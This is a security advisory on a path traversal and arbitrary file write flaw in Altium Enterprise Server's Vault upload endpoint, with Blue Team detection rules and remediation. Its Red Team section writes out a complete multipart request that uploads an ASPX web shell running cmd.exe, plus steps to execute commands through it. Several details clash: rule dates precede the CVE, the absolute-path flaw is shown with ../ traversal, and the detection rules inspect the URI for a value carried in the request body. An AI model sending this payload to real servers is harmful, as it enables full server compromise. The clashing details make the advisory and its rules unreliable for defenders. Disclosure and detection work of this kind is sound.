CVE-2026-11419

Executive Summary

CVE-2026-11419 is a critical path traversal vulnerability in Altium Enterprise Server’s Vault Service UploadController. An authenticated attacker can craft an absolute path in image upload requests, bypassing the configured storage root and writing arbitrary files to any writable location on the server filesystem. This file-write primitive can be escalated to remote code execution (RCE) by overwriting application binaries, configuration files, or writing web shells to web-accessible directories. Altium 365 cloud deployments are not affected due to architectural mitigations. No public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects Altium Enterprise Server, a proprietary on-premise application.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD placeholder; actual severity is critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High (arbitrary file read/write)
• Integrity Impact: High (file overwrite leading to RCE)
• Availability Impact: High (denial of service via overwrite)
• Threat Level: Critical – Exploitation can lead to full server compromise.

Deep Dive & Mechanics

The vulnerability resides in the UploadController of Altium Enterprise Server’s Vault Service. The endpoint processes image uploads but fails to validate the user-supplied path component. By providing an absolute path (e.g., C:\Windows\System32\evil.dll or /etc/passwd), the attacker can bypass the intended storage root directory. The service account’s permissions determine the extent of writable locations.

Attack Flow:

1. Authenticate to the Altium Enterprise Server.
2. Send a crafted HTTP request to the upload endpoint with an absolute path in the file name or path parameter.
3. The server writes the uploaded content to the specified absolute path.
4. Escalate by overwriting a web-accessible file (e.g., ASPX, PHP, JSP) or a critical binary (e.g., AltiumVaultService.exe).
5. Trigger execution via a web request or service restart.

Root Cause: Improper input validation – the application does not sanitize or reject absolute paths in the upload request.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: Directly uses user-supplied path
string uploadPath = Path.Combine(storageRoot, userProvidedPath);
File.WriteAllBytes(uploadPath, fileContent);

Patched Code (Conceptual):

// Patched: Validate and restrict path to storage root
string safePath = Path.GetFullPath(Path.Combine(storageRoot, userProvidedPath));
if (!safePath.StartsWith(Path.GetFullPath(storageRoot), StringComparison.OrdinalIgnoreCase))
{
    throw new SecurityException("Invalid path.");
}
File.WriteAllBytes(safePath, fileContent);

Exploitation & Lab Setup

Red Team

Prerequisites:

• Valid credentials for Altium Enterprise Server.
• Network access to the Vault Service endpoint (typically port 443 or 80).

Exploitation Steps:

1. Identify the upload endpoint (e.g., /VaultService/UploadController/UploadImage).
2. Craft a multipart POST request with an absolute path:

   POST /VaultService/UploadController/UploadImage HTTP/1.1
   Host: target-server
   Authorization: Bearer <token>
   Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
   
   ------WebKitFormBoundary
   Content-Disposition: form-data; name="file"; filename="../../../../inetpub/wwwroot/shell.aspx"
   Content-Type: image/png
   
   <%@ Page Language="C#" %>
   <% System.Diagnostics.Process.Start("cmd.exe", "/c whoami"); %>
   ------WebKitFormBoundary--
   

3. Access the uploaded shell via http://target-server/shell.aspx.
4. Execute commands as the service account.

Alternative Escalation:

• Overwrite AltiumVaultService.exe with a malicious binary and restart the service.
• Overwrite configuration files to disable authentication or redirect traffic.

Blue Team

Detection:

• Monitor for upload requests containing absolute paths (e.g., C:\, /etc/, ..\).
• Alert on file writes outside the configured storage root directory.
• Use file integrity monitoring (FIM) on critical system files and web directories.

Hunting:

• Search for files with unexpected extensions (e.g., .aspx, .php, .exe) in web-accessible directories.
• Review service account permissions and restrict write access to only necessary directories.

Lab Setup:

• Deploy Altium Enterprise Server in an isolated VM.
• Use a test user account with minimal privileges.
• Simulate the attack by sending crafted uploads and monitoring logs.

Indicators of Compromise (IOCs)

• File Paths: Files written to unexpected locations (e.g., C:\inetpub\wwwroot\shell.aspx, /var/www/html/evil.php).
• Network Traffic: HTTP POST requests to /VaultService/UploadController/UploadImage with absolute paths in the filename parameter.
• Process Anomalies: Unusual child processes spawned by AltiumVaultService.exe (e.g., cmd.exe, powershell.exe).
• Log Entries: Error logs indicating path traversal attempts or file write failures outside the storage root.

Detection Engineering

YARA Rule

rule CVE_2026_11419_Path_Traversal {
    meta:
        description = "Detects path traversal attempts in Altium Enterprise Server upload requests"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-11419"
    strings:
        $path_traversal = /(\.\.\/|\.\.\\)|^[A-Za-z]:\\|^\/[a-z]+\//
        $upload_endpoint = /UploadController\/UploadImage/i
    condition:
        $upload_endpoint and $path_traversal
}

Sigma Rule

title: CVE-2026-11419 Path Traversal in Altium Enterprise Server
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with absolute paths to the Altium Vault Service upload endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-uri-query|contains:
            - "UploadController/UploadImage"
        cs-uri-query|re: '(\.\.\/|\.\.\\)|^[A-Za-z]:\\|^\/[a-z]+\/'
    condition: selection
falsepositives:
    - Legitimate use of absolute paths in rare configurations
level: high

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2026-11419 - Altium Enterprise Server Path Traversal";
    flow:to_server,established;
    content:"UploadController/UploadImage"; http_uri;
    pcre:"/(\.\.\/|\.\.\\)|^[A-Za-z]:\\|^\/[a-z]+\//i";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the Altium Enterprise Server from untrusted networks if possible.
2. Restrict the service account’s write permissions to only the storage root directory.
3. Implement a Web Application Firewall (WAF) rule to block upload requests containing absolute paths.
4. Monitor logs for path traversal attempts and file writes outside the storage root.

Long-Term Fix:

• Apply vendor patch when available.
• Upgrade to a patched version of Altium Enterprise Server.
• Conduct a code review of the UploadController to ensure proper path validation.

Workaround:

• Disable the image upload functionality if not required.
• Use a reverse proxy to validate and sanitize upload paths before forwarding to the backend.

Valters IT